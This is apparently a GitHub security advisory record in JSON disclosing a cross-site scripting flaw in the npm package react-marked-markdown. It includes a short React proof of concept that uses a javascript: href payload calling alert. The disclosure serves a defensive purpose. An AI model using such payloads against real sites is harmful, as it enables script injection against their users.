{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-marked-markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:32:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from \u0027react\u0027\nimport ReactDOM from \u0027react-dom\u0027\nimport { MarkdownPreview } from \u0027react-marked-markdown\u0027\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={\u0027[XSS](javascript: alert`1`)\u0027}\n/\u003e,\ndocument.getElementById(\u0027root\u0027)\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n",
  "id": "GHSA-m7qm-r2r5-f77q",
  "modified": "2021-09-24T20:35:29Z",
  "published": "2020-09-01T20:43:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Vincent-P/react-marked-markdown/issues/61"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/344069"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Vincent-P/react-marked-markdown"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/668"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Cross-Site Scripting in react-marked-markdown"
}